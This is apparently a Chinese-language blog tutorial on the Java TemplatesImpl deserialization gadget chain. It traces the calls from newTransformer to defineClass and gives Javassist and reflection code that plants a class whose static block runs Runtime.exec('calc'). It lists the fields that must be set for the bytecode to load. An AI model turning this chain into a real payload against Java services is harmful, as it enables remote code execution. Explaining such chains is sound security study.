背景
TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它,注入内存马还是用它。为什么?因为它可以加载java字节码并实例化。相对于调用Runtime.exec进行命令执行,加载恶意代码更贴合我们的使用。
1 2 3 4 5
| 调用链的基本过程,反序列化中可以用例如CC链中的任意方法调用来触发这条链子 TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()->
|
类加载器
ClassLoader,类加载器,是JVM执行类加载机制的前提,其主要任务为根据一个类的全限定名来读取此类的二进制字节流到JVM内部,然后转换为一个与目标类对应的java.lang.Class对象实例。
defineClass加载器
对于我们利用漏洞简单的来说,就是ClassLoader中的defineClass加载器能过获取我们给他的字节码从而读取成类,在这个过程中若这个字节码对应的类中存放有恶意内容就可以触发
1 2 3 4 5 6 7 8 9 10 11 12
| ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Test"); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); CtConstructor constructor = cc.makeClassInitializer(); constructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=cc.toBytecode();
这里用javassist类创造一个带有static代码块运行后会触发计算器的恶意类(Javaassist 就是一个用来 处理 Java 字节码的 类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已 有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生 成一个新的类对象,通过完全手动的方式。)
|
触发链过程
我们最终的目标是要触发defineClass加载器

但是classloader类中他是protected型,我们需要找到能调用他的方法,我们寻找所有使用defineclass方法的地方

在TemplatesImpl中的内置类TransletClassLoader(CLassLoader的子类)中找到,继续寻找调用它defineclass方法的地方

在这个类的defineTransletClasses中调用了他,继续找谁调用了defineTransletClasses

getTransletInstance方法调用了defineTransletClasses

但是注意_class值不能为null
最后便是newTransformer调用了getTransletInstance

1 2 3 4 5
| TemplatesImpl obj=new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer();
|
那么触发链就清晰了,注意为了顺利到达触发点,这三个值不能为null(“_bytecodes”,”_name”,”_tfactory”)并且恶意类父类需为AbstractTranslet
这里的如何触发newTransformer()在CC链中再讲